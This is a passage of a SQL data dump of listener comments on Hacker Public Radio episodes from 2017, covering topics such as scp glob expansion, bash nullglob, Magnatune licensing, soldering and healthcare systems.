(2005,2291,'2017-06-16 18:58:09','rtsn','good episode','Good interesting episode, you have a great voice for podcasting for sure, looking forward hearing more episodes from you in the future!','2017-09-09 07:41:36'),
(2006,2292,'2017-05-18 12:07:45','Dave Morriss','Strange urge to make a show...','I had a terrible urge to make another HPR show after listening to this.  See episode 2302 :-)\r\n\r\nGreat show by the way. I feel I might have an inkling about what amateur radio is all about after listening to this series.','2017-09-09 07:41:36'),
(2007,2292,'2017-05-31 19:48:29','MrX','Re. Strange urge to make a show...','Hi Dave Sorry for the long delay in replying to this I\'m terrible at checking for comments, many thanks for the kind words glad you enjoyed it. \r\n\r\nMrX','2017-09-09 07:41:36'),
(2008,2293,'2017-05-21 16:42:38','Jonathan Kulp','What about with SCP?','Hi Dave, \r\n\r\nThis was a really excellent show! Just the kind of stuff that I wish I had known for about the last 10 years. I tried something after listening to this that worked wonderfully as long I was long as I was just doing a list command, but when I tried the same thing using secure copy to get the same list of arguments, it didn\'t work. \r\n\r\nWhat I wanted to do was to push all MP3 and OGG files in a given directory over to my server in a single command, excluding the HTML and markdown files in the same directory. \r\n\r\nThe following command worked perfectly to **list** all of the MP3s and OGGs: \"ls *(*.mp3|*.ogg)\", but when I tried the same arguments with SCP it failed. Have you tried doing these kinds of expansions with secure copy?','2017-09-09 07:41:36'),
(2009,2293,'2017-05-21 18:08:45','Dave Morriss','SCP is a bit weird','Hi Jon,\r\n\r\nGlad you enjoyed the show.\r\n\r\nTo look into this I did the usual thing of creating a directory \'scptest\' and making files in it:\r\n\r\n$ touch scptest/{a,b}{00..10}{a..z}.{dat,txt}\r\n\r\nI could copy selected files TO a remote directory:\r\n\r\n$ scp scptest/*(???y.txt|???y.dat) dave@rpi5:test/\r\n\r\nHowever, on rpi5 I couldn\'t copy FROM the other machine.\r\n\r\nI did find a solution, but it\'s quite long for a comment, and I\'m not 100% sure I understand it. I tried it and it did copy the files I specified.\r\n\r\nKen would suggest a show on the subject, but perhaps if I pointed you to the link I found it might do the job :-)\r\n\r\nhttps://unix.stackexchange.com/questions/103058/exclude-characters-for-scp-filepattern\r\n\r\nSee what you think.\r\n\r\nActually, I shunt files around a lot between systems, but I often tend to use \'rsync\'. However,  that\'s a whole other subject.\r\n','2017-09-09 07:41:36'),
(2010,2293,'2017-05-22 08:44:32','Dave Morriss','SCP without extended globs','It didn\'t occur to me at the time to try this (on rpi5, pulling files off a remote machine):\r\n\r\n$ scp dave@desktop:\'scptest/a??w.{txt,dat}\' .\r\ndave@desktop\'s password: ...\r\n\r\nThis works. The quotes prevent there being two scp invocations with associated password prompts.','2017-09-09 07:41:36'),
(2011,2293,'2017-05-22 11:12:48','Jonathan Kulp','Details, details...','Aha! As always the devil is in the details. This last comment you left gave me the hint I needed. I was putting the asterisk in the wrong place and also using parentheses instead of curly braces. The following command works just like I want: \r\n\r\nscp *.{mp3,ogg} \r\njonserver:~/destination/dir/\r\n\r\nThanks, Dave!','2017-09-09 07:41:36'),
(2012,2293,'2017-05-22 11:29:36','Dave Morriss','TMTOWTDI','\"There\'s more than one way to do it\" - Larry Wall (actually he was talking about Perl, but it works here)\r\n\r\nI\'m glad I helped you to get where you wanted to be (even though I realise I wasn\'t quite answering your original question).\r\n\r\nHaving researched this and thought about it a bit I started putting together a brief(ish) HPR show about it.\r\n\r\n','2017-09-09 07:41:36'),
(2013,2293,'2017-05-22 12:26:21','Jonathan Kulp','Ken is smiling','Dave, somehow I suspected when I asked whether this worked with secure copy that it would end up becoming another show from you. You\'re the best!','2017-09-09 07:41:36'),
(2014,2293,'2017-05-24 04:52:46','clacke','scp brace expansion??!','Dave, I had no idea scp would do brace expansion on the server side. That\'s quite unexpected, and quite the discovery!\r\n\r\nI tried it with rsync, and rsync *also* supports it. That made me suspicious.\r\n\r\nAs I feared, it seems to mean it runs the server side of rsync (and of scp) through the shell. Testing confirms it. If I want to (explicitly) copy files with spaces in the names, the quoting nightmare starts. :-(\r\n\r\nSo what started out as a happy discovery just turned into another disappointment in how broken our software is.\r\n\r\nAll this time, I had assumed that rsync started a server with no specific arguments, and then communicated over the rsync protocol which files to get. I guess I\'ve been lucky all these years and avoided explicitly naming weird file names.','2017-09-09 07:41:36'),
(2015,2293,'2017-05-24 10:09:52','Dave Morriss','scp is a bit of a hack!!','Hi clacke.\r\n\r\nI had been messing with scp using the  -v option which generates a lot of information. You can see it connecting via ssh then, if the original command was:\r\n\r\nscp -v dave@rpi4:\'scptest/*.{mp3,ogg}\' .\r\n\r\nit sends across:\r\n\r\nscp -v -f scptest/*.{mp3,ogg}\r\n\r\nwhere the quotes prevent local expansion and the (undocumented) -f option in the command marks it as running on the remote end.\r\n\r\nI don\'t know how this mechanism deals with names with spaces and so forth, but I imagine it\'s nasty. It needs some experiments. My ideas for a \"brief\" show about this subject look doomed to be \"l  o  n  g\" :-)\r\n\r\nI think rsync will talk to a remote server (never used it) but I\'d expect it would need to exist before the transfer.','2017-09-09 07:41:36'),
(2016,2294,'2017-05-19 21:56:14','Windigo','Timely','I\'ve got a daughter on the way, so advice from those \"in the trenches\" is always appreciated.','2017-09-09 07:41:36'),
(2017,2294,'2017-05-20 01:19:33','dodddummy','Nice show','For what it\'s worth, I smiled through most of this show.','2017-09-09 07:41:36'),
(2018,2294,'2017-05-20 14:21:01','David Morriss','This was great','I loved this. It brought back such memories.\r\n\r\nFor what it\'s worth, we collected loads of \"craftable\" stuff when my two kids were small. I found a large box full of it in the attic when tidying last year. Stuff like egg cartons, cardboard tubes, cardboard boxes (flattened), washed food trays, lollipop sticks and similar, straws... You get the idea.\r\n\r\nPlay was with all of these and PVA glue/sticky tape, and sometimes paint. You can bet that all manner of fantastic structures were built.','2017-09-09 07:41:36'),
(2019,2294,'2017-05-21 16:45:45','Jonathan Kulp','Ride the Bus','What an excellent show! What I liked best was that I could hear you smiling when you talked about doing certain things with your daughter. This is great. \r\n\r\nOne thing I used to like to do with my kids when they were that age was to take them riding on the city bus, which is something we don\'t do for our normal travel. There\'s a bus route that picks up at the end of our street and ends up walking distance from Barnes &amp; Noble bookstore. Having a destination that they liked and getting to ride on the bus was great fun for them at that age.','2017-09-09 07:41:36'),
(2020,2294,'2017-05-22 07:35:43','clacke','Tickling','Beautiful episode. The love is clearly audible all across the microphone, the internet and my speaker. ','2017-09-09 07:41:36'),
(2021,2295,'2017-05-29 14:35:15','jwp','Nice litle Distro Review','Wow you always seem to find soemthing new to review.  I think maybe This had to with the old Memphis project at some point?\r\n\r\nKind Regrads\r\n\r\nJWP','2017-09-09 07:41:36'),
(2022,2295,'2017-08-26 12:18:51','Tony Hughes','Nice litle Distro Review','Thanks JWP, yes MX is an AntiX and Memphis community re-spin, I tried AntiX and its very lean even compared with MX.','2017-09-09 07:41:36'),
(2023,2297,'2017-05-29 07:49:21','Jonas','Great listen.','Thanks so much for the alternate music pics from Magnatune. I always thought it was more for classical music since that was the origin. I definitely appreciate hearing thought on different music. I like most of the genre in the show. \r\n\r\nP.S. I nearly fell out of my chair when I was listening and the TTS said the show had Dave and then that it had an explicit tag. \r\n\r\nNow I have more for my playlist. ','2017-09-09 07:41:36'),
(2024,2297,'2017-05-29 08:22:58','Dave Morriss','Thanks for the feedback','Glad you liked the show. We had fun making it since we were in the same room and actually listened to the tracks in real time.\r\n\r\nI mark all my shows explicit since it means \"stated clearly and in detail, leaving no room for confusion or doubt\", and that\'s what I aim for. They aren\'t meant to be offensive though (unless you hate detail).\r\n\r\n:-)','2017-09-09 07:41:36'),
(2025,2297,'2017-06-21 16:13:59','Dave Lee','CC licenses and subscription model','Still listening to the show actually, only started this afternoon... :-)\r\n\r\nCC licenses are irrevocable.\r\nhttps://creativecommons.org/faq/#what-if-i-change-my-mind-about-using-a-cc-license\r\n\r\nAlso, you mentioned Amie Magnatune changing their subscription model, is this why you can\'t sign up monthly anymore?','2017-09-09 07:41:36'),
(2026,2297,'2017-06-22 13:03:44','Dave Morriss','Re: CC licenses and subscription model','Thanks Dave,\r\n\r\nYour comment on the licensing issue is useful. I was confused by the fact that Magnatune offer commercial licenses by subscription (see https://magnatune.com/info/licensing) but the license for non-commercial use is Creative Commons by-nc-sa, which I now understand is perpetual.\r\n\r\nThe subscription model has changed. In the very earliest days there were several, and you could buy individual albums, including on CD (I have a few). I think a monthly \"all you can eat\" subscription followed that: I was a monthly subscriber for many years. Finally, about 5 years ago they changed to only offering a lifetime subscription. I imagine this significantly reduced their overheads.\r\n\r\nThere\'s a blog where their business model has been discussed, for example: https://blogs.magnatune.com/buckman/2010/03/new-business-model-for-magnatune.html','2022-02-14 13:17:59'),
(2027,2298,'2017-05-27 15:54:59','brian','oops','Those show notes have a pretty good typo... It should read milliamps, not millivolts... Sorry.','2017-09-09 07:41:36'),
(2028,2298,'2017-05-29 07:46:01','Jonas','I did not know that. ','Great info. I didn\'t realize you could troubleshoot using such a small measurement. My truck is getting older and may need this info eventually. Thanks for the show!','2017-09-09 07:41:36'),
(2029,2300,'2017-05-29 14:32:46','jwp','Sound Quality','Hi I listened to my own I will try to make the sound quality better','2017-09-09 07:41:36'),
(2030,2302,'2017-05-31 01:20:49','clacke','Thanks!','I have written a few scripts in my day that do something like first putting a glob in parenthesis, then double-checking whether the array is longer than one, and if it\'s just length one, check that that thing is a thing and not just the wildcard.\r\n\r\nShould have used nullglob. Next time I will!','2017-09-09 07:41:36'),
(2031,2302,'2017-05-31 07:38:40','Dave Morriss','Glad you found it useful','Yes, I\'m going to use nullglob in scripts now for sure.\r\n\r\nThere may be side-effects in other parts of a script - I\'m not sure - so I\'ll turn it off once I\'ve finished with it.','2017-09-09 07:41:36'),
(2032,2304,'2017-06-01 20:30:48','b-yeezi','xfdashboard','Great show. I currently use Gnome and XFCE on different computers. If you like the dashboard from gnome, you should check out xfdashboard for XFCE. If provides a Gnome-like dashboard experience. You just need to change the keyboard call xfdashboard instead of the normal XFCE launcher.','2017-09-09 07:41:36'),
(2033,2305,'2017-06-07 19:27:54','Steve','Excellent tutorial','This was an excellent tutorial on how to get dual deployment working. If I ever need to do this or know someone that does, I will send them here.\r\n','2017-09-09 07:41:36'),
(2034,2305,'2017-06-08 13:54:42','Mongo','','Steve, thanks for the comment. There seems to be a perception that Windows 10 is harder to deal with than previous versions, and it really isn\'t. I hope the show helps someone get started on a useful project.','2017-09-09 07:41:36'),
(2035,2308,'2017-05-25 09:34:10','Ken Fallon','I check this one while processing','Very funny clacke. I\'m adding that to the list for others to use.','2017-09-09 07:41:36'),
(2036,2308,'2017-05-30 05:53:23','clacke','Theme song','Cool!\r\n\r\nI can see that it\'s linked at https://hackerpublicradio.org/media/theme-music/ but the linked resource isn\'t live yet.','2022-02-14 13:17:59'),
(2037,2308,'2017-06-05 06:18:54','clacke','Theme song is up','It\'s there now. Great, thanks!','2017-09-09 07:41:36'),
(2038,2308,'2017-06-07 14:28:22','b-yeezi','GNU Stow please','I would love an episode on GNU Stow. I\'ve heard good things about it, but haven\'t tried it yet. I would love to hear you\'re you use it.','2017-09-09 07:41:36'),
(2039,2308,'2017-06-15 08:00:06','clacke','GNU Stow in the pipeline','A GNU Stow show is in the pipeline! Pipeline visible as https://social.heldscal.la/clacke/tag/hprep .\r\n\r\nNo promises on ETA or in what order I decide to tackle these subjects! The one I\'m working on now is the history of video envelope formats.','2017-09-09 07:41:36'),
(2040,2309,'2017-06-11 20:31:20','Dave Morriss','Interesting project; interesting word','Hi Jon,\r\n\r\nA most interesting project with an ingenious solution!\r\n\r\nI like \'bloviate\' too. In investigating its etymology I found an article on \"World Wide Words\", where I often go for information on unusual words. I found this, which you might like: https://www.worldwidewords.org/weirdwords/ww-blo1.htm','2022-02-14 13:17:59'),
(2041,2309,'2017-06-11 21:36:07','Jonathan Kulp','absquatulate','Great page! I like the reference to the following words as well: sockdolager, hornswoggle and absquatulate. Gotta start using those...','2017-09-09 07:41:36'),
(2042,2310,'2017-08-02 22:57:30','Geddes','','Thanks to everyone (particularly the HPR community news hosts) for the complementary comments. I enjoyed everything involved with narrating and producing the series, learnt a hell of a lot in the process, discovering as I went along that I was entering the world of the voice over artist. Your comments Ken on creative commons last month I felt were spot on and I&rsquo;m happy to have made a contribution to CC community via HPR.\r\n\r\nGeddes \r\n','2017-09-09 07:41:36'),
(2043,2313,'2017-06-15 06:25:26','folky','More ;-)','Thank you for a good show once. I would really like to test NILFS myself. Could you write down your examples, please?','2017-09-09 07:41:36'),
(2044,2314,'2017-06-18 10:36:12','Dave Morriss','Thanks for this','Very interesting show (as always)!\r\n\r\nThe issue of the type of solder used on motherboards like this is something I have never heard about before. That means my recently bought Chinese Hakko clone soldering station will not handle it I guess. Time for a cheap hot air gun perhaps.\r\n\r\nAlso, my knowledge of capacitors is at 1960\'s school Physics level, so hearing more about what\'s out there now was fascinating.\r\n\r\nMore shows like this would be most welcome!','2017-09-09 07:41:36'),
(2045,2314,'2017-06-18 19:29:15','NYbill','','Hey Dave, I grew up in the 70\'s! I\'m not sure you can tell me to get off your lawn. ;)\r\n\r\nOk, maybe you can. But, I\'ll defiantly stand at the edge shaking a fist!\r\n\r\nJoking aside, a lot of solder these days is going lead free. The stuff being used these days has a higher melting point. This can be an issue on something like a motherboard. Its densely packed and has multiple layers. All of those layers are trying to dissipate the heat you\'re trying to apply to one component. Sit there too long and you can start damaging things next to the component you\'re trying to replace.  \r\n\r\nYou need to get in, heat something up quick, and get out. The hot air station did the trick.\r\n\r\nHowever, this was an edge case for me. I get by with just my soldering pen 99% of the time.','2017-09-09 07:41:36'),
(2046,2314,'2017-06-19 10:19:16','Jonathan Kulp','The suspense is killing me ','Come ON, man! Don\'t leave us hanging. Did it WORK?! ','2017-09-09 07:41:36'),
(2047,2314,'2017-06-19 17:55:36','Ken Fallon','Do not reply in the comments','Hey NYBill,\r\n\r\nThe reply to that needs to be a show in itself !','2017-09-09 07:41:36'),
(2048,2314,'2017-06-19 22:19:24','Jonathan Kulp','I\'ll do a show next time','In that case maybe next time I should do a 30-second episode where I ask Bill whether it worked or not. How does that sound, Ken?','2017-09-09 07:41:36'),
(2049,2314,'2017-06-19 22:39:31','NYbill','','Heh Jon, I had the motherboard in my back pack (fixed) for two months! (This episode\'s recording started quite a while ago.)\r\n\r\nI planned to give the thing back to Marcus when I saw him. Turns out, he has quit his job here in NY and gone back to Florida! Oo\r\n\r\nI talked with him in IRC, he told be to use it or give it to someone else in the LUG. I would have to pull apart one of my two desktops to test it. We\'ll see...','2017-09-09 07:41:36'),
(2050,2314,'2017-06-19 22:43:14','NYbill','\"Do not reply in the comments\"','WHAT! Task master...\r\n\r\nKen cracks the HPR whip. :P','2017-09-09 07:41:36'),
(2051,2314,'2017-06-20 12:09:23','Ken Fallon','Great more shows','Great Idea - That would be two shows. :)\r\n','2017-09-09 07:41:36'),
(2052,2317,'2017-06-28 20:13:31','Jonathan Kulp','Clarity!','Well, sort of. Many thanks for this follow-up episode, Dave. I think I understand it better now but I might not. Just one of those things, you know?','2017-09-09 07:41:36'),
(2053,2317,'2017-06-29 13:20:16','Dave Morriss','Clear as mud? :-)','Hi Jon,\r\n\r\nI hope it helped, if only a little. I got quite carried away by the investigation, and perhaps shouldn\'t have brain-dumped it all into an episode! It was quite fun though.','2017-09-09 07:41:36'),
(2054,2320,'2017-06-23 21:03:08','Dave Morriss','AWK series/ DEC hardware','Hi JWP,\r\n\r\nMost interesting show. I\'d love to visit that museum!\r\n\r\nThanks for the mention of the AWK series here on HPR. I should point out that it\'s a joint series being produced by b-yeezi and myself. The next episode is in early July.\r\n\r\nI was delighted to hear you talk about Digital Equipment Corporation (DEC). I spent a good bit of my work life managing a DEC VAXcluster, running OpenVMS. This was the system used by students and staff at the university where I worked. We also had two AlphaServers there later, one running OpenVMS and the other Digital Unix. I thought DEC stuff was great!','2017-09-09 07:41:36'),
(2055,2322,'2017-06-27 16:46:42','b-yeezi','Great Show. My follow-up to com','Thanks for the excellent show. I learned a lot about the underpinnings behind python virtual environments and how programs like virturalenvwrapper exploits them. You have inspired me to create a follow-up episode about how I to create a virtualenvwrapper-like experience for the Fish shell.','2017-09-09 07:41:36'),
(2056,2322,'2017-07-29 18:42:36','MrX','Great first show','Sorry for taking so long to comment but I&rsquo;m always running many shows behind and just listened to yours last night, I felt I had to comment.\r\n\r\nJust wanted to say many thanks for a great first show, enjoyed it so much that I listened to it twice, very concise and clear covering a confusing topic. I never until now fully understood the difference between .bas_profile and .bashrc. Your show notes also put mine to shame.\r\n\r\nLook forward to hearing another one whenever you get a chance. I know for myself finding the time can be difficult.\r\n\r\nBest regards MrX','2017-09-09 07:41:36'),
(2057,2325,'2017-06-15 07:55:41','clacke','Great show','Thanks for this overview of the underlying issues!\r\n\r\nAs a point of reference, Sweden used to have full government funding and government provision of services, except for dental care where we had private providers.\r\n\r\nThese days, all types of services follow the dental care model: The patient can choose where to go, and the government \"insurance\" pays for the services. It\'s called an insurance, but is paid through the employment tax and the premium is determined entirely by the salary.\r\n\r\nYou can also add a private health care insurance, and get access to further clinics and services, shorter queues, etc.\r\n\r\nCounties license providers, so while in some sense anybody qualified to provide services can do so, each county may uphold e.g. a certain quota of private vs public providers.','2017-09-09 07:41:36'),
(2058,2326,'2017-08-06 13:49:41','clacke','hprep tag','You said it half-jokingly, but my idea is that every post in https://social.heldscal.la/clacke/tag/hprep is a full and earnest public commitment to making that episode real, any year now!','2017-09-09 07:41:36'),
(2059,2326,'2017-08-07 16:49:27','Dave Morriss','#hprep','It\'s a while ago now and my memory is not what it was, but I think we were marvelling at your preparedness to go public with your plans. I for one am looking forward to hearing these episodes - no joke!','2017-09-09 07:41:36'),
(2060,2327,'2017-07-05 17:26:37','jezra','Not native born: natural born','The requirement isn\'t to be native born; the requirement is to be a \"natural born\" citizen. This means that one needs to be a citizen at time of birth. \r\n\r\nA newborn is considered a \"natural born\" citizen of the US if the child has at least one parent with US citizenship. The children of any US citizen are natural born US citizens, regardless of location of birth. \r\n\r\n','2017-09-09 07:41:36'),
(2061,2327,'2017-07-06 01:20:16','Kevin O\'Brien','Jezra is correct','That is why John McCain (born in Panama) was eligible to run for President.','2017-09-09 07:41:36'),
(2062,2327,'2017-07-08 19:58:44','Canadianbob','','A completely silly rule if you ask me.  It\'s especially true in a country populated by immigrants.\r\n\r\nWe have no such rule for Heads of State or Head of Government here in Canada.\r\n\r\nThe country didn\'t come to an end.\r\n\r\n','2017-09-09 07:41:36'),
(2063,2329,'2017-07-06 18:49:32','Dave Lee','Just bought one','I\'ve just bought one of these because of this episode. &pound;4.27.\r\n\r\nDepending on timings, I might bring it to Podcrawl so you can inspect my work! ;-)','2017-09-09 07:41:36'),
(2064,2329,'2017-07-06 19:10:28','Dave Morriss','Hmm, Glasgow Podsoldering anyone?','Hi Dave,\r\n\r\nI hope you have fun with the build.\r\n\r\nI\'m imagining a bit of last-minute soldering at the back of a bar in Glasgow :-)','2017-09-09 07:41:36'),
(2065,2333,'2017-07-17 21:50:27','klaatu','homebrew virtual envs','I\'m not a fan of fish, but I love your homemade virtual env. I did something somewhat similar in bash at my old job, and it worked pretty well. When I stumbled across virtualenv, I just used that.','2017-09-09 07:41:36'),
(2066,2334,'2017-07-13 22:30:35','Kevin','','Right with you on this.  I was born in 1966.  Very interesting to go over origin of games and where they are now.  Would love to hear more like this.','2017-09-09 07:41:36'),
(2067,2334,'2017-07-14 12:42:38','ClaudioM','','Thanks, Kevin.  I hope to actually give Frotz a try with the Zork code that is available online so that I can do an episode on it.','2017-09-09 07:41:36'),
(2068,2334,'2017-07-16 19:54:50','Dave Morriss','Nostalgia','This was great!\r\n\r\nAt my first job at the University of Lancaster around 1977/78 there was a copy of Adventure installed on the ICL 1900 mainframe which many of us played during lunch breaks. We had the FORTRAN source and were not above peeking at it to try and work out some of the puzzles! It was quite addictive, I remember.\r\n\r\nThanks for the show.','2017-09-09 07:41:36'),
(2069,2334,'2017-07-18 13:18:54','ClaudioM','Re: Nostalgia','Glad you enjoyed it, Dave!  I\'ll be downloading Open Adventure on my Fedora laptop to see if it will compile there since it wouldn\'t work in Termux.  I did get Zork to work using Frotz in Termux (it\'s available in the repo for Termux and the Zork game files are downloadable online), so I\'ll surely be doing an episode on that soon as a sequel to this one.','2017-09-09 07:41:37'),
(2070,2337,'2017-07-27 18:47:03','lostnbronx','Great Overview','I have a Kobo Aura, and I really love it. I also have a 2nd gen Kindle, which is a very nice device, but the Kobo definitely beats it.\r\n\r\nThis was an excellent look at an excellent product. I\'ve owned mine for a while now, yet you still taught me a few new tricks. Great job!','2017-09-09 07:41:37'),
(2071,2337,'2017-07-28 01:25:59','Jonathan Kulp','Kobo anagrams to Book','Thanks for leaving your comment, lostnbronx. Glad to hear you enjoyed the episode. One thing I neglected to mention and I might not even have realized when I recorded the episode is that the name of the device is an anagram of the word \"book.\" I\'m definitely loving my Kobo. I should probably load it up with your latest book haha! ','2017-09-09 07:41:37'),
(2072,2338,'2017-07-19 00:48:27','Clinton Roy','','Wow, that started off really creepy. I couldn\'t tell they were sounds from the podcast and thought it was happening in my office!','2017-09-09 07:41:37'),
(2073,2338,'2017-07-23 23:27:23','Windigo','','I\'ve been listening to HPR episodes I\'ve missed, and just recently caught your previous episode about how you create these recordings. Thanks for the follow-up!','2017-09-09 07:41:37'),
(2074,2340,'2017-05-25 08:55:18','Ken Fallon','You don\'t need to scrape','Hi MrX,\r\n\r\nHaven\'t listened to the show yet but you don\'t need to scrape hpr. This is your network and if you want a statistics we can give it to you. There  is this page https://hackerpublicradio.org/calendar.php but if there is an easier format to get the information, we can make it.\r\n\r\nKen,','2022-02-14 13:17:59'),
(2075,2340,'2017-05-31 19:09:37','MrX','Re you don\'t need to scrape','Hi Ken sorry for the delay in replying as I\'ve been on holiday. \r\n\r\nThanks for the comment, very good to know, never thought about asking for a special page generally when you visit a site you get what you see and I would never normally think about asking for something tailored for my own very specific needs.\r\n\r\nMy script was hacked together and I just wanted the job done I\'m sure there are better ways to do it, it was a good learning experience.\r\n\r\nAs it stands the script downloads the calender page and grabs the numeric value of the number of shows in the queue. It only gets run once a day and shouldn\'t put much of a strain on the HPR servers even in the unlikely event that many people find it useful. \r\n\r\nBasically I need to capture the number of shows left in the HPR queue. I would imagine the simplest way would be to serve a page giving a numeric value of the number of shows in the HPR queue. If you can arrange for that or think of a better solution that would be great. \r\n\r\nI\'ll then have a think about how to modify my script and perhaps if I get time will do a quick follow up show\r\n\r\nCheers MrX','2017-09-09 07:41:37'),
(2076,2340,'2017-06-01 08:49:33','Dave Morriss','See show 1986','Hi Mr X,\r\n\r\nI haven\'t listened yet, but judging from the notes this looks like a great topic, and an interesting show.\r\n\r\nYou might find it useful to look at my show 1986, one of the sed series. In it, in example 2, I showed how to parse the current queue level out of the stats file you can look at on the HPR site. The link to the example is:\r\n\r\nhttps://hackerpublicradio.org/eps/hpr1986/full_shownotes.html#example-2\r\n\r\nThe link to the stats you\'d need is in the Links section of that show, and I also mention it in show 2255.\r\n\r\nYou might prefer the challenge of scraping HTML, but this is a pretty easy route to the information you want\r\n\r\nDave\r\n','2022-02-14 13:18:00'),
(2077,2340,'2017-06-01 16:35:15','MrX','re: See show 1986','Hi Dave thanks for getting back to me, yes this would be a more eloquent solution, I remember listening to the show and really enjoying it though I was unable to give it the full attention it deserved, these days free time is in short supply.\r\n\r\nThe stats page is exactly what I\'m looking for and it should be very easy for me to grab the required info from it. I seem to remember you and Ken mentioning the stats page on more that one occasion, if only I\'d taken the time to look at it, oh well it was a good learning experience.\r\n\r\nAt some point I\'ll redo my script and post an updated show time permitting\r\n\r\nbest regards\r\n\r\nMrX ','2017-09-09 07:41:37'),
(2078,2342,'2017-08-04 13:47:28','operat0r','safety first!','I ignored some of these safety precautions when I adjusted the tension on my screen it was scary as hell lol from what I was reading basically it needs to start to pull itself up after about the halfway mark mine was struggling a little bit too much so I had to add some tension','2017-09-09 07:41:37'),
(2079,2342,'2017-08-22 18:51:11','Windigo','Phew!','I kept expecting a message on the end of this episode stating that it was uploaded posthumously. Glad to hear things went okay!\r\n\r\nI thoroughly enjoyed listening - even if the problem wasn\'t solved. I had never given my garage door any thought, and I\'m glad to know more about how it works.','2017-09-09 07:41:37'),
(2080,2343,'2017-07-26 17:10:05','b-yeezi','Unexpectedly interesting','I am really surprised how much I enjoyed this episode. It seems like a good system. Can you do the U.S.\'s system next?','2017-09-09 07:41:37'),
(2081,2343,'2017-07-27 00:04:32','Kevin O\'Brien','On the way','b-yeezi, I already recorded several shows on the U.S. system and they will be coming out over the next weeks.','2017-09-09 07:41:37'),
(2082,2349,'2017-08-04 12:15:27','x1101','prompt for other users','Windigo - \r\n    Loved the episode. Very well articulated! I had one thought. When you want to run your prompt as another user (or, have other-user specific prompts), you don\'t need to do any symlinking, especially on a multi-user system. \r\n\r\nFor example, on servers I helped manage, I had .rootbashrc in my home directory, and after I did a sudo su - to get a root shell, I would then source /home/x1101/.rootbashrc to get _my_ root specific rc file.\r\n\r\nJust some food for thought. ','2017-09-09 07:41:37'),
(2083,2349,'2017-08-05 03:15:45','Windigo','','Quick follow up: Xoke was kind enough to remind me that I hadn\'t posted a link anywhere to my configurations. Here\'s the git repository:\r\n\r\nhttps://gitlab.com/windigo-configs/bash.git\r\n\r\nx1101: That makes a lot more sense, especially on multi-user systems, since you wouldn\'t want to steamroll other users\' rc files with your own. Thanks for the tip, man! :)','2017-09-09 07:41:37'),
(2084,2349,'2017-08-12 16:43:00','Dave Morriss','Great show - most enjoyable','Thanks for doing this show. I enjoyed it a lot (even though I\'m rather late listening to it).\r\n\r\nI have done stuff to my prompts in the past, on Unix systems and on Linux, but have just not bothered in later years. I like the ideas you talk about here and may well be inspired to experiment some more.','2017-09-09 07:41:37'),
(2085,2350,'2017-08-13 17:07:43','Canadianbob','Health Insurance Market','As a Canadian, most of my fellow citizens find the idea of healthcare being a \"marketplace\" a little bit weird.\r\n\r\nUniversal medicare became a reality in the province of Saskatchewan in 1962.   By 1971, piece by piece it had become a national program.\r\n\r\nNow, the move is towards expanding into universal pharmacare, one of the missing pieces of our universal medicare system.','2017-09-09 07:41:37'),
(2086,2350,'2017-08-14 01:09:31','Kevin O\'Brien','That\'s why I recorded this','I know that the American system does not make sense to a most people outside the U.S., or frankly to most people inside the U.S. So I thought it was worth a little of my time to lay it out.','2017-09-09 07:41:37'),
(2087,2351,'2017-08-08 20:33:20','Mad Sweeney','Sean N&oacute;s Free Software Song made me happy','That\'s a fleadh cheoil winner right there.\r\n\r\nThanks\r\n','2017-09-09 07:41:37'),
(2088,2351,'2017-08-29 15:57:27','Krayon','AMAZING Free Software song!','Ken! Damn! That\'s the BEST rendition of the Free Software I have EVER heard! Loved it! :-D','2017-09-09 07:41:37'),
(2089,2353,'2017-08-11 03:02:01','b--yeezi','On my to-do list','Thanks for this entertaining and informative episode. I\'ve been meaning to test out temperature monitoring on a Raspberry pi for some time. Do you know if the process you described will work for one-wire temperature probes like the one shown here  https://www.amazon.com/gp/aw/d/B01N6GAR11/ref=mp_s_a_1_7?ie=UTF8&amp;qid=1502420419&amp;sr=8-7&amp;pi=AC_SX236_SY340_QL65&amp;keywords=one+wire+temperature+probes&amp;dpPl=1&amp;dpID=416dSXz3BUL&amp;ref=plSrch','2017-09-09 07:41:37'),
(2090,2353,'2017-08-11 12:03:49','ClaudioM','Another Great Episode','Even with all those dry \"robotic\" commands and regex, you always find a way to make such things interesting and entertaining to listen to. Thanks again for another great episode and welcome back!','2017-09-09 07:41:37'),
(2091,2353,'2017-08-12 16:54:39','Ivan \"Epicanis\" Privaci (pseud.)','Glad to be back!','@b--yeezi That looks like exactly the sort of submersible temperature sensor that should work! It\'s exactly the same core component as far as the RaspberryPi is concerned, they\'ve just stuck it to a heat-conducting piece of stainless steel and sealed it up so that it can be submerged into whatever liquid (or potentially-wet weather, etc) you might want to monitor. From what I read, you\'ll need a 4.7kOhm resistor between two of those leads (the \"module\" I\'m using[1] has that built onto the board already) but otherwise you should be able to plug it right in and use it exactly as described.\r\n\r\n@ClaudioM thanks for the encouraging feedback! I swear I really am trying to produce _much_ more often than I have been. Probably more short episodes coming Real Soon Now!...\r\n\r\n[1] https://www.amazon.com/dp/B013GB27HS','2017-09-09 07:41:37'),
(2092,2354,'2017-08-14 16:44:31','Dave Morriss','Some impressive ambient sounds','Thanks Jon. A great idea for a show. I\'d love to know more about what was making those sounds - cicadas, as you said, but what else I wonder?\r\n\r\nI haven\'t personally encountered anything quite like those night sounds. Here in not very rural Scotland you\'d hear owls or foxes but not a lot else in my experience!','2017-09-09 07:41:37'),
(2093,2354,'2017-08-16 09:49:33','Tony Hughes','hpr2354 :: Night Sounds in Rural Tennessee','Wow that is really loud, but fascinating. I recorded some wild life (bird song) while at a study centre in Birmingham in the UK last April its quite long at over 10 minutes but very relaxing maybe another show there.','2017-09-09 07:41:37'),
(2094,2354,'2017-08-17 17:41:01','Frank','','This reminded me of the night sounds at Pine View Farm when I was growing up.','2017-09-09 07:41:37'),
(2095,2354,'2017-08-17 23:59:55','Jonathan Kulp','Mystery bugs','Thanks for the comments, everyone. Dave, I have no idea what else is out there making all of this noise. A biologist specializing in insects can probably make some sense of it, but to me it\'s just a bunch of wonderful noise.','2017-09-09 07:41:37'),
(2096,2354,'2017-08-23 22:05:18','Windigo','More nostalgia','I agree with Frank; noises like this were a common occurrence while I was growing up. This episode brought back lots of warm memories.\r\n\r\nThanks a bunch, Jon!','2017-09-09 07:41:37'),
(2097,2356,'2017-08-15 16:54:04','Klaatu','good coffee','That sounded like some good coffee. ','2017-09-09 07:41:37'),
(2098,2360,'2017-08-19 11:42:51','Ken Fallon','A better starting point','A better starting point may be to agree that everyone has a right to health care, and work from there.','2017-09-09 07:41:37'),
